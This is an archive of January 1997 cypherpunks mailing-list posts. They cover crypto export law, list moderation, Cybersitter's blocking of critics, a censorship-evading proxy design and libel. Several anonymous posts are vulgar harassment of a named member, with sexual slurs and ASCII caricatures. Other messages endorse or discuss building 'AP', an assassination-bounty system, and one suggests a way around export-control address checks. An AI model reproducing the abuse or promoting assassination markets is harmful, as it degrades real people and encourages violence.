Date: Thu, 30 Jan 1997 16:06:59 -0800 (PST)
To: jimbell@pacifier.com (jim bell)
Subject: Re: Fighting the cybercensor
In-Reply-To: <199701301948.LAA18798@mail.pacifier.com>
Message-ID: <199701310002.SAA11258@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


jim bell wrote:
> 
> At 01:03 AM 1/28/97 -0600, Igor Chudov @ home wrote:
> >jim bell wrote:
> >> 
> >> At 10:21 PM 1/26/97 -0800, blanc wrote:
> >> >From:	jim bell (in response to Dimitri Vulis')
> >> >Look, I've proposed what I consider to be a remarkably consistent method to 
> >> >prevent the kind of political tyranny that you criticize, and I don't see
> >> >any recognition of this fact.
> >> >........................................................
> >> >
> >> >1) Jim, why do you insist on discussing this on an forum for encryption?
> >> 
> >> Because it's on-topic, that's why.  Because it's not merely a list 
> >> concerning METHODS of encryption, it's also about the _reasons_ for using 
> >> encryption, as well as the _effects_ (both small-scale and large-scale) of 
> >> using encryption.  
> >
> >Actually AP is one of the more interesting topics here. I think that there
> >is a clear need for an AP bot.
> >
> >Do you feel like writing it?
> 
> Desire?  Yes.  Ability?  Maybe.  Time? No.
> 

You can hire someone to write it.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Thu, 30 Jan 1997 18:39:28 -0800 (PST)
To: Sandy Sandfort <sandfort@crl.crl.com>
Subject: Re: Cats Out of Bags
In-Reply-To: <199701310156.RAA01139@toad.com>
Message-ID: <199701310239.SAA14891@netcom17.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



Sandy:
>> 
>> 1. it is unconstitutional to put a crypto genie in a bottle
>> in the first place.
>> 2. it is unconstitutional to make laws against ringing crypto bells.
>
>We do not disagree except neither of the metaphors I gave suggest
>anything about the "putting in the bag" part of the deal.  In no
>way does either suggest a right, power or even ability of anyone
>to limit any freedom.  They are mute on the subject.  Their sole
>meaning is that one CAN'T undo what is already done.  In the
>instant case, that means the wide-spread availability of strong
>crypto.

ability to use strong crypto is not "either or" but a matter of degree. the 
question is not "is strong crypto available", but, "how much harder would
the NSA's peeping be if ITAR was relaxed?  

the real question is, do we have the right to use strong crypto,
or don't we? if we don't then the government has the authority
to regulate it to its heart's content, *regardless* of whether
those laws are effective or not. cpunks seem to think that a govt
can only have *effective* laws. but there is obviously no such
constraint.

I think we need to approach it from the point of view that we
have the *right* to use strong crypto, and see if the supreme
court agrees. hence I'm very interested in the bernstein etc.
cases, which may be the ultimate breakthrough eventually..
there is no end to the blathering about genies, cats, or bells
that can sway the govt, but a single supreme court decision
can have a revolutionary effect.

again I still think the genie/cat/bell metaphor is a disservice to 
the cause, but feel free to defy me. 

just one crackpot's opinion, YMMV





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "David E. Smith" <dsmith@prairienet.org>
Date: Thu, 30 Jan 1997 17:33:15 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: A comment on the censorship policy
Message-ID: <3.0.32.19970130192408.006879d8@midwest.net>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 12:19 AM 1/30/97 -0800, Toto wrote:

>  It is extremely easy to understand. Just read your own words.
>  The key word here is 'accurate' criticisms. This makes them 'flames',
>in Sandy's mind, because the purpose of the 'censorship experiment'
>was to place total control of the list in the hands of a man who
>rarely posts and doesn't seem to participate in the list discussions,
>as well as for the purpose of suppressing any real dissent that may
>arise from list members.

Interesting interpretation.  Mind you, I'm obliged to disagree.

My understanding was that the moderator is supposed to ONLY
filter out ads and utterly-content-free messages.  (Mind you,
I took the smart out and subbed to cp-unedited, so I'm in
no place to judge.)  If the idea was to place control in the
hands of someone who rarely posts, why not give it to me?
There are probably a few hundred of the real addresses on this
list (not the mail-echoers) that have never posted.

>  Also, one of the reasons that the moderation process is so 
>haphazard, is that posts from some individuals are automatically
>routed to the 'flames' list at some times, and viewed/censored
>at other times, so that a few can be posted to the censored 
>list to give some half-hearted illusion of fairness in the
>censorship process. (which remains a bad joke, nonetheless).

Aha, a good point to be brought up: Sandy, are you autofiltering
anyone based on user name, or on certain keywords? Seems to
defeat the purpose of having a _human_ moderator.

dave
-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQEVAwUBMvFJl3EZTZHwCEpFAQHGiQf/QjEj9QJ+9viADYdfSQJumpXhb8BF+MHQ
zbAYVGxLyt/WYA96cykFHYk2hCzkcfph/XDksSB6lmaStHFHfPCOAOHReu6xfHg2
3+3RyOI/eBJS8RS6z5dQBWTnKiu35sk5J2wMcnOWfMQXTWz8jYVAHnyBh9x39huP
+Iwj4jOE0Qelu4/FZhgVgo3tktw5sBGjmaZgOvu/24DoT2YPsG9EQ74i6suX0B15
eE1uPaP+2zumwYpV2ywYNbfFyExY2K9XM6k7M/ZNwpplMyf+plYigVUkNRP6KJWK
Gvp3bN6mAa2BF/bnoyCGTulC3By785Fk3s+EV2hUVknoZwH3SGF53w==
=Sl5a
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Thu, 30 Jan 1997 19:37:56 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Complying with the EAR [was: More Circumventing the ITAR]
Message-ID: <199701310337.TAA03170@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:14 AM 1/29/97 -0700, Michael Paul Johnson wrote:
>On Tue, 28 Jan 1997, Mark Rosen wrote:
>
>> 	I'm curious as to exactly what the ITAR/EAR/Whatever says specifically
>> about "unrestricted FTP sites." My program, Kremlin, is available for
>
>You should check the exact text yourself, but the way I read the EAR, you
>are not "exporting" strong cryptographic software without a license (exept
>to Canada, which needs no license) if you do things "such as"
>(1) have the guests to your site acknowledge that the EAR restricts
>export, (2) have the guests affirm that they can legally get the software
>(proper citizenship or residency & location), and (3) "check the address
>of the destination computer to see if it is in the USA" or Canada. The
>last one, I interpret rather loosely to mean that if the guest's email
>address domain isn't one commonly used in the USA or Canada, then I deny
>access. We all know that not all .com addresses are North American, but
>chances are really good that if the address ends in .ru, then the
>destination machine is probably not in North America. This is not a
>perfect way to prevent export, of course, but it is what the regulations
>say, as I read them. For a pointer to the regulations and to my access
>request form and crypto site, see http://www.sni.net/~mpj/crypto.htm
...
An easy crack to that would be to request access from a hotmail, or
similair, account.  This account would show up as being on US soil while the
account holder would not necessarily be so.  In this way, someone with an
account ending in your .ru would get through because h[is/er] e-mail request
originated from inside the U.S.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Thu, 30 Jan 1997 19:38:01 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Workaround for filtering/cybersitter
Message-ID: <199701310337.TAA03177@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 03:43 PM 1/29/97 -0500, Mark Rogaski wrote:
>If I had experience with Netscape plugins and spare time, I'd
>try it myself.  But here's my proposed solution.  
>
>A plugin in Netscape intercepts all requests,  encrypt the URL
>with a pubkey algorithm, encode the string base64, send it as GET input to
>a proxy server.
>
>The proxy server decodes and decrypts the URL, gets the requested page,
>and returns it.  This beats out URL-based filtering.
>
>Still need to figure out the specifics of key-exchange.  If we use
>40-bit encryption, it's exportable, and it still works in our threat
>model (ie. we don't care if the watchers figure out the URL a few hours
>later).
>
>To beat out dropping packets with unacceptable pattern in them, we
>could use an SSL-based server as the proxy.
>
>The plugin could even have a nice little on/off switch and a list
>list of available proxies.
...
The above paragraph would be a problem, unless you wanted to update the
program with a great regualrity.  Each time the offending government got the
software and blocked all of those sites, the software would be worthless.
This would be no big deal if you could guarantee some means of someone
getting the software, which would certainly be illegal, again and again.
Better to have the user key in the proxy that h[is/er] cousin/uncle/best
friend/boss/client/guest told h[im/er] about.

Here is a similar idea.  Have your plug-in replace the part of Netscape that
checks the URL with INTERNIC or similar.  Have the system accept your
address for the proxy and send the requested URL to it, the server then
FTP's the contents of the page (and if server time is readily available, its
sub-pages), places them in a temporary directory on itself and allows your
computer to see it there thinking that it is on a totally different machine.
This way the proxy owner would not have to stay on top of the latest
restricted material.
The main problem would be that the system would absorb twice as much time,
once for the download to itself, and once to show it to you.
This is not terribly different to Netscape's caching of recently visited
pages in memory on the off-chance that you will return.
If you changed passwords at the same time that you changed addresses, and
reported them together, the government wouldn't be able to keep up.
When the government did its sweep of objectionable words, it would come to
this site that would have no such data.  Only by having the access password,
would they be able to reveal that site as a proxy.  If they knew the
password then they would already know that that was a proxy site because
they would have been given both the password and the address at the same time.
You then try to maintain several different addressess at a time, each with a
different password.  As the Government blocks one, change its password and
its address.
The software would be either two-piece, assuming a dedicated client plug-in,
or one-piece.
The pieces would be as follows.
The proxy, this software would be as small as possible and would only be a
front end.  Ideally this software should fit on one 3.5" disk.  The address
to this machine would be the address handed out.  In the one-part scenario,
this would be implemented as a web-page with a CGI script for the address.
The user types in the request and this bot fetches it, placing it in a
special directory for the use of this script, this directory would probably
be erased after the allotted space was filled, though not before, (you don't
stay logged in to the remote machine when using Netscape so erasing on
hang-up would mean continually reloading the data.)  The proxy would then
refresh your client with the requested information.  In the two piece
scenario, this proxy would interact with the plug-in in much the same way,
forgoing the CGI script.
The client, the plug-in, if present, would take over the Location field and
have a set up menu to type in the proxy's URL and password.  In that way the
user would see h[im/er]self as accessing the web page directly.  Certainly
more user friendly, once the client were configured, though not quite as
flexible.  In this system the government could make both accessing the proxy
and possession of the client illegal.  It would also be a problem for
persons who use a machine to which they have no control.  If the setup were
un changeable or reset after power-down, this system would require the user
to continually re set up the client.

The proxy could be as simple as an opening screen with a field for the
password and the URL.  The proxy should re-link all external links into its
own system so that the system can be transparent after the initial page.  In
other words, the links should be replaced with a second HTML document with
the password and search-criteria inside in much the same way that
search-engines relay your request to itself, in the URL.  This would be a
simple script that changed all occurances of "A
HREF="HTTP://This.is.the/real/site.html"" to "A
HREF="internal/directory.html
Query?=HTTP://This.is.the/real/site.html+password""


           





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 30 Jan 1997 17:23:34 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Get cybersitter to block your ISP
In-Reply-To: <5ckclk$6kl@kew.globalnet.co.uk>
Message-ID: <FeeD2D15w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Path: perun!news2.panix.com!news.panix.com!panix!news.bbnplanet.com!cam-news-hub1.bbnplanet.com!howland.erols.net!rill.news.pipex.net!pipex!news-lond.gsl.net!news.gsl.net!news-feed1.globalnet.co.uk!kew.globalnet.co.uk!usenet
From: pevans@globalnet.co.uk.removethispart (evans-the-swim)
Newsgroups: alt.privacy,alt.censorship,alt.revenge,news.admin.censorship,alt.html
Subject: Get cybersitter to block your ISP
Message-ID: <5ckclk$6kl@kew.globalnet.co.uk>
Date: Mon, 27 Jan 1997 20:16:16 GMT
Lines: 153
NNTP-Posting-Host: client856c.globalnet.co.uk
X-Newsreader: Forte Free Agent 1.0.82

To all readers:

I suggest that you do as I have done.  If you have a web page, add a
link (or many) dealing with Cybersitter, and email Mr. Milburn.
Here's my example...

Mr. Milburn:

I have been reading the reports of you and your company's unethical,
deceptive, bullying, and probably defamatory practices.  It appears
that your response to critics is to add their ISP to the list of sites
blocked by your software.

Accordingly, I have added to my home page links to various sites and
files which will inform the reader of the true nature of your agenda.
I am also suggesting to readers in all the newsgroups that relate to
this issue that they do the same.  My hope is that they will respond
by doing so, and in turn force you to add so many ISP's to your list
that you effectively restrict your users from the entire net.  

If successful, this will lead ultimately to the mass realisation that
Cybersitter does not do what it is advertised to do, and that people
wishing to "protect" their children from influences with which they
disagree should choose other methods, and that you and your company
will disappear as yet another burp in the turgid indigestion of the
net.

Please respond when you have added my ISP to your list of blocked
sites.  Feel free to email my postmaster as well.

A sample of the information available to visitors to my site follows:

=============================================




Date: Sun, 19 Jan 1997 14:36:55 -0800
From: Jonathan Wallace <jw@bway.net>
Subject: 1--Solid Oak Blocking Software & Ethical Spectacle

FOR IMMEDIATE RELEASE

Contact: Jonathan Wallace
         jw@bway.net

	NEW YORK CITY, January 19, 1997--In an apparent act of
retaliation against a critic of the company, Solid Oak Sofware
has added The Ethical Spectacle (http://www.spectacle.org) to
the list of Web sites blocked by its Cybersitter software.

	The Ethical Spectacle is a monthly Webzine examining
the intersection of ethics, law and politics
in our society, which recently urged its readers not to
buy Cybersitter because of Solid Oak's unethical behavior.
The Ethical Spectacle is edited by Jonathan Wallace, a New York-
based software executive and attorney who is the co-author,
with Mark Mangan, of Sex, Laws and Cyberspace (Henry Holt, 1996),
a book on Internet censorship.

	"In the book," Wallace said, "we took the position--
naively, I now think--that use of blocking software by parents
was a less restrictive alternative to government censorship.
We never expected that publishers of blocking software would
block sites for their political content alone, as Solid Oak
has done."

	Solid Oak describes its product as blocking sites
which contain obscene and indecent material, hate speech,
and advocacy of violence and illegal behavior. In late 1996,
computer journalists Declan McCullagh (declan@well.com)
and Brock Meeks (brock@well.com) broke the story that
Cybersitter blocked the National Organization for
Women site (http://www.now.org)
along with other political and feminist organizations.
In addition, the product blocked entire domains such as
well.com, maintained by the venerable Well online service.

	McCullagh and Meeks implied that they had received an inner
look at the Cybersitter database of blocked sites from someone
who had reverse engineered the software. Shortly afterwards,
Solid Oak asked the FBI to begin a criminal investigation of
the two journalists and accused college student Bennett Haselton
(bennett@peacefire.org) of being their source.
Though McCullagh, Meeks and Haselton all
denied he was the source (or that anything illegal
had occurred), Solid Oak president Brian Milburn called
Haselton an "aspiring felon" and threatened to add
his Internet service provider to the blocked list if it did
not muzzle Haselton.

 	Haselton came to Milburn's attention by founding Peacefire,
a student organization opposing censorship. On his Web pages
 (http://www.peacefire.org), Haselton posted an essay called
"Where Do We Not Want You to Go Today?" criticizing
Solid Oak. The company promptly added Peacefire to its
blocked list, claiming   that Haselton had reverse
engineered its software, an allegation for which the
company has never produced any evidence.

	"At that point," Wallace said, "I felt Milburn was
acting like the proverbial 800-pound gorilla. I added a
link to the Spectacle top page called 'Don't Buy Cybersitter'
(http://www.spectacle.org/alert/peace.html).
Anyone clicking on the link would see a copy of Bennett's
'Where Do We Not Want You to Go' page with some added
material, including my thoughts on the inappropriateness
of Solid Oak's behavior. I wrote the company, informing
them of my actions and telling them that they
misrepresent their product when they claim it blocks only
indecent material, hate speech and the like."

	Solid Oak has now responded by blocking The
Ethical Spectacle. "I wrote to Milburn and to
Solid Oak technical support demanding an explanation,"
Wallace said. "I pointed out that The Spectacle does not fit
any of their published criteria for blocking a site.
I received mail in return demanding that I cease writing
to them and calling my mail 'harassment'--with a copy
to the postmaster at my ISP."

Wallace continued: "With other critics such as Declan,
Brock and Bennett, Solid Oak has claimed reverse
engineering of its software, in supposed violation
of its shrink-wrapped license. I have never downloaded,
purchased or used Cybersitter, nor had any access to
its database. I believe that Solid Oak's sole reason
for blocking my site is the 'Don't Buy Cybersitter'
page, criticizing the company's bullying behavior."


	The Ethical Spectacle includes the internationally
respected An Auschwitz Alphabet
(http://www.spectacle.org/695/ausch.html), a compilation
of resources pertaining to the Holocaust. "Sixty
percent of the Spectacle's traffic consists of visitors to the
Holocaust materials," Wallace said. "Schoolteachers have
used it in their curricula, it was the subject of a lecture at
a museum in Poland some weeks ago, and every month, I get
letters from schoolchildren thanking me for placing it
online. Now, due to Solid Oak's actions, Cybersitter's
claimed 900,000 users will no longer have access to it."

Solid Oak can be contacted at blocking.problems@solidoak.com,
or care of its president, Brian Milburn (bmilburn@solidoak.com.)

      -----------------------------------------------
Jonathan Wallace
The Ethical Spectacle http://www.spectacle.org
Co-author, Sex, Laws and Cyberspace http://www.spectacle.org/freespch/

"We must be the change we wish to see in the world."--Gandhi





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Secret Squirrel <nobody@squirrel.owl.de>
Date: Thu, 30 Jan 1997 11:56:04 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [PICS] Financial Cryptography
Message-ID: <19970130194905.25337.qmail@squirrel.owl.de>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dopehead Vulgar K{arcinogen} Of The Moment has been fired for
stealing blow jobs.

       |\_/|
       (0_0)     Dr.Dopehead Vulgar K{arcinogen} Of The Moment
      ==(Y)==
  ---(u)---(u)---






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Thu, 30 Jan 1997 19:52:46 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Shave the Whales
Message-ID: <199701310352.TAA13485@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


What a joy to make a public mockery of Dogfucker L"amprey" Vulis
K"adaver" Of The Moment!

            __[I]__
              o-o'
       __oOo__(-)_oOo__ Dogfucker L"amprey" Vulis K"adaver" Of The Moment
               V






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: blanc <blancw@cnw.com>
Date: Thu, 30 Jan 1997 21:13:16 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: RE: Machine readable form (was:RE: [DES] DES Key Recovery Project, Progress Report #7)
Message-ID: <01BC0EF3.011F46C0@king1-03.cnw.com>
MIME-Version: 1.0
Content-Type: text/plain


From:	Phil Karn

You have to admit that it is far more consistent to treat both the
book and the floppy as a munition than to take the position DoS
eventually took. Even if the more consistent position is a far more
restrictive one that has even less chance of surviving a court
challenge.
...........................................................

In terms of consistency, if the government  reserved the right to control 
printed source code (in the future),  and books and floppys containing it 
are considered munitions, then cryptographers, who have it in their heads, 
would also be considered munitions.

They would have to be prohibited from leaving the country and constrained 
not only from using the internet, but from any kind of communications 
medium.  Ian Goldberg would not be allowed to visit Anguilla or participate 
in any more contests.  :>)

    ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lee Tien <tien@well.com>
Date: Thu, 30 Jan 1997 23:04:12 -0800 (PST)
To: cypherpunks@toad.com
Subject: job opportunities
Message-ID: <v03010d07af1724cb5e1b@[163.176.132.90]>
MIME-Version: 1.0
Content-Type: text/plain


I have no idea whether members of this list are interested in these kinds
of jobs, but hey, can't hurt to ask.

For the next 3 months (until April 30), Farallon Communications is trying
to focus on filling several key engineering positions in the Netopia and
LAN groups.  (Netopia is a product line of ISDN devices)  My wife works at
Farallon in product marketing for Netopia stuff.  They started out as a
Macintosh networking company and have gone "Internet."

Firmware Engineers:  3 for Netopia and 1 for LAN

Hardware Engineers:  1 for Netopia and 1 for LAN

There is some flexibility for the firmware positions to work either in
Alameda or San Jose.  I'm not sure about the job descriptions; I just
looked at http://www.farallon.com/corp/jobs/index.html and this might
accurately describe some of the positions mentioned above:

Sr. Staff Engineer (WAN) -- San Jose and Alameda
4 Openings
Senior member of the software development team responsible for
architecture, design and implementation of embedded systems
firmware on new and existing WAN products. Hands-on design
position requiring a BSCS or a BSEE with advanced degree preferred.
The ideal candidate will have 10+ years networking or
telecommunications development experience and expert knowledge of
multi-protocol routing and bridging. Expertise in networking layer
technologies/protocols and data compression required.

Lee Tien








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Thu, 30 Jan 1997 21:27:02 -0800 (PST)
To: jim bell <cypherpunks@toad.com
Subject: RE: Fighting the cybercensor
Message-ID: <199701310527.VAA04959@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:15 AM 1/30/97 -0800, jim bell wrote:
>What you're presented (included in its entirety below) is what I've come to 
>call an "AP story problem."   I've worked through many of those myself; 
>their main problem is that they don't carefully describe why _each_ person 
>in the "play" you've described would be motivated to do what it's claim he 
>does, and why he DOES NOT do other things to fix the situation he's in.  
>Remember, I'm not merely talking about the main character, but also the ones 
>who are (apparently?) incidental.  
>
>For just one example, you said:    "conventional bodyguards could be 
>included, ones with no real pay but with the fore knowledgethat they will be 
>buried with the tyrant."
>
>What motivates these people?  Are they hostages?  If they're hostages, then 
>presumably that means they're motivated to seek the death of anyone who is 
>holding them.  What about their relatives; don't they have any sympathy for 
>those who are taken?  Why don't they donate to AP to see the lead guy dead?

As I stated in the bottom, the children would be privaledged.  They would
merely be told that it is a great honor.  It could very well be.  Assuming
that the tyrant did not die, these children would live in comparable luxery.
They would be at risk only if the tyrant was.  By keeping the children at
hand, the parents would balk at taking action against the tyrant, not only
their own action, but also that of others.  The children would merely be
there to thwart the attempts of others.
The "Tiger Teams" would have to get through security on their own, takers on
this offer would be very few unless the bounty were great, the defenses were
weak, or the thrill level were high.  An encounter with a bloodless thrill
seaker might go like this "I hacked your system, here's proof, now pay up",
remember, for some, it is the proof that a thing can be done that is the
greatest thrill.  Also, the tyrant would feel bound to keep h[is/er] word to
avoid others deciding to take the challenge for the smaller sum.

Remember also that 10% controls 90%, this means that each potential tyrant
has on average 9% of the wealth, while the remaining 90% has about 1/90th of
the remaining 10%.  To match the wealth of the tyrant, these people would
have to get together 90% of their numbers and commit everything.
If 100 people were in the total population, and 1000 dollars in circulation,
10 people would be tyrants with about 90 dollars apiece, the remaining 90
people would each have 100/90 dollars, or 1.11 dollars each.  It would take
81 of them together to match the wealth of one.  With that many, they might
as well attack outright because they would now include practically all of
the population.  If the tyrant had more than 9 of the peasants close to him,
he would be at risk by conventional means.
The real threat would not be the people, of limited means, using the system.
But rather other tyrants using the system.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Secret Squirrel <nobody@squirrel.owl.de>
Date: Thu, 30 Jan 1997 14:02:17 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [CRYPTO] ElGamal
Message-ID: <19970130214809.27595.qmail@squirrel.owl.de>
MIME-Version: 1.0
Content-Type: text/plain


Here, Dimwit Vandal K[arcass] Of The Moment descends into total
inanity. He should have a cold shower and/or a Turkish coffee.

 ^-^-^-@@-^-^-^
      (..)     Dimwit Vandal K[arcass] Of The Moment





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Secret Squirrel <nobody@squirrel.owl.de>
Date: Thu, 30 Jan 1997 14:00:31 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Info please!
Message-ID: <19970130214811.27622.qmail@squirrel.owl.de>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dickhead L[axative] Vagina K[arcass] Of The Moment's abysmal
grammer, atrocious spelling and feeble responses clearly
identify him as a product of the American education system.

   ,_,
*-._W_,-* Dr.Dickhead L[axative] Vagina K[arcass] Of The Moment
 `-;-;-'
   " "





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Thu, 30 Jan 1997 21:52:18 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Workaround for filtering/cybersitter
Message-ID: <199701310552.VAA05346@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 12:28 PM 1/30/97 -0600, William H. Geiger III wrote:
...
>I would also want to make the ISP's liable for their users accessing this
info. That way I
>can intimidate them into doing all the work for me. (You can see
>this approach in several areas of US law enforcemant. Arrest bartenders for
>serving minors, arrest store clerks for selling cigaretts to minors, shut
down of BBS for
>users posting "dirty pictures", going after ISP's for pirated
>software and other copyright infringments by their users.)
...
I live in Oklahoma.  Here at least, bartenders don't sell beer to minors,
they sell it to persons who are clearly older.  Older friends of the minors,
and minors who finished puberty early.  The bartenders only protection is to
close up shop, depriving everyone of a drink.
The same is true of tobacco products.  About 8 months ago I had a girl who I
barely knew, except that she was obviously in Junior High, recognize me, ask
me if I was 18, to which I replied yes, and ask me to buy her a carton of
cigerettes, to which I declined.  Not for any law imeding me, but I consider
suicide a right, but I will not help someone kill themselves.  This girl,
more than likely already hooked on the drug, had probably used this
technique numerous times before without a glitch.
The same would be true of blockingon-line content.  If it were done right.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Thu, 30 Jan 1997 20:12:07 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Libel & the 1st Amendment (fwd)
Message-ID: <199701310413.WAA00226@einstein>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Wed, 29 Jan 1997 10:46:57 -0500 (EST)
> From: Declan McCullagh <declan@pathfinder.com>
> 
> * The 1st Amendment does protect some lies.

No, it protects speech. The Constitution is meant to protect citizens from a
priori constraints on their speech, not the results of the content ex post
facto.

It is clearly not in the best interest of society to limit opinions or
fiction.

> If I say "Jim Choate is a
> Venusian albatross," the statement is probably (?) a lie,

No, for it to be a lie there must be a potentiality of its truth. A nonsense
statement which happens to fit the syntactical rules of a language wouldn't
qualify.

A more apt situation would be, "Hey, <some person>, I saw <your name> in a
public restroom blowing the President's pink torpedoe and <your name> was
begging for more!". The statement should have to be transmitted to
<some person> without the permission of <your name>.

The legal standard should be that if you make statements purported to be
true about a third party without their prior consent you should be held to
a minimum standard of evidence demonstrating the actuality of your statement.

A democratic society should have no tolerence for libel, slander, or other
forms of lies.

> but I doubt
> you'll prevail in a libel suit. What damages do you have? That's the key,
> I believe -- the statement has to lower you in the opinion of others.

Which is exactly one aspect of the problem. Wrongs should not be based on
quantity or opinion. By focusing on what others think trivializes the issue
at hand, a untruth about a person has been passed off as a truth.

> * Many 1st Amendment experts don't believe in the legal concept of libel. 
> It is, they say, a rich man's game

Exactly, instead of equal protection under the law we have a specieocracy.

> -- if I'm libeled by the NYT, I'm
> probably not going t be able to sue them, but Donald Trump can. Moreover,
> if I don't have the resources to sue but the statement is libelous, it
> creates a *presumption* in the minds of the readers that the article is
> certainly true. (If it were not, I would have sued, right?) 

Another good example of why our system is broke.

> * The concept you may be searching for is consensual speech, which I
> believe a society should tolerate. Libelous speech isn't consensual,
> though obscenity is.

There is no such thing as 'obscenity' just as there is no such thing as
'community standard'. These are the results of mental masturbation to
justify some power freaks alterior motives.

No, what I should be permitted to say should not rest on what others may
permit. If so then I should have a say in what they can say, which means I
have a say in what they can say about what I can say, ... (got it yet?)

What we need is a fundamental change in the legal system which focuses on
first principles and results, not social status or wealth or the potential
for gain.

Perhaps what we need is a legal system where both the defence and
prosecuting attornies are selected by lot. We already have such a system
applied to the defence. If it is considered sufficient for a defence it
should qualify as sufficient for prosecution. Each practicing attorney would
receive a stipend allocated by the appropriate legislative body. The court
and police (who should represent the people in general) would provide both
parties the results of any tests and equal and simultaneous access to all
evidence. If a person wants additional legal council they can buy it from
their own pocket but the attorney is limited to act only as a adjunct to the
appointed attorney (ie they would not be allowed to speak in court).

In civil cases the plaintiff should place a bond, set at some percentage of
the maximum permissible award, at the time the case is filed. This would at
least cover the general costs of the court and limit nuisance cases.


                                                 Jim Choate
                                                 CyberTects
                                                 ravage@ssz.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jamie Lawrence <foodie@netcom.com>
Date: Thu, 30 Jan 1997 22:26:30 -0800 (PST)
To: "Vladimir Z. Nuri" <vznuri@netcom.com>
Subject: Re: Cats Out of Bags
In-Reply-To: <199701310506.VAA04697@toad.com>
Message-ID: <v03010d08af173ece9529@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


At 6:39 PM -0800 on 1/30/97, Vladimir Z. Nuri wrote:

> those laws are effective or not. cpunks seem to think that a govt
> can only have *effective* laws. but there is obviously no such
> constraint.

No such constraint in the _making_ of laws, of course. We have
laws on the books forbidding the utterance of "Oh boy", the carrying
of an ice cream cone in one's pocket, and the act of driving without
insurance, all functioning to varying degrees of effectiveness, 'on
the books' in various states.

The question Sandy seems to me to be raising is not whether a group
of people can issue a decree, but rather whether the interaction of the law
books, the interested parties on either side of the debate, and the mostly
disinterested real world will intersect such that the laws passed can
be used to effectively hamper the activities of the parties who wish
to go about the business proscribed. This is not an either/or question,
as you so aptly note (I hope Kirkegaard doesn't mind).

Of course, methods of this nature specifically regarding the uses of
privacy is what this list is all about.

Not an argument; just a clarification.

-j

--
"This analogy is like lifting yourself by your own bootstraps."
                                         -Douglas R. Hofstadter
_______________________________________________________________
Jamie Lawrence                                foodie@netcom.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Thu, 30 Jan 1997 20:28:20 -0800 (PST)
To: "David E. Smith" <dsmith@prairienet.org>
Subject: David E. Smith / Known Flamer
In-Reply-To: <199701310211.SAA01422@toad.com>
Message-ID: <32F19191.239B@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


David E. Smith wrote:

> My understanding was that the moderator is supposed to ONLY
> filter out ads and utterly-content-free messages.

  That seems to be a very common misunderstanding--one which will
remain without question on the censored list, since they have
chosen to remain behind the ElectroMagnetic Curtain.

>  (Mind you, I took the smart out and subbed to cp-unedited,
> so I'm in no place to judge.)

  You're in a far better place to judge than those who have 
chosen to remain spoon-fed their world-view.

> Aha, a good point to be brought up: Sandy, are you autofiltering
> anyone based on user name, or on certain keywords? Seems to
> defeat the purpose of having a _human_ moderator.
> 

  You realize, of course, that your question is moot, since this
post of yours was already thrown in the crapper/flame-list.
  It seems that questioning the process is a 'flame'.

Toto





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ben Byer <root@bushing.plastic.crosslink.net>
Date: Thu, 30 Jan 1997 19:45:44 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: DES challenge status?
In-Reply-To: <32F04A93.59E2@for.address.real>
Message-ID: <199701310335.WAA02650@bushing.plastic.crosslink.net>
MIME-Version: 1.0
Content-Type: text


-----BEGIN PGP SIGNED MESSAGE-----

> 
> Ben Byer wrote:
> > 
> > -----BEGIN PGP SIGNED MESSAGE-----
> > 
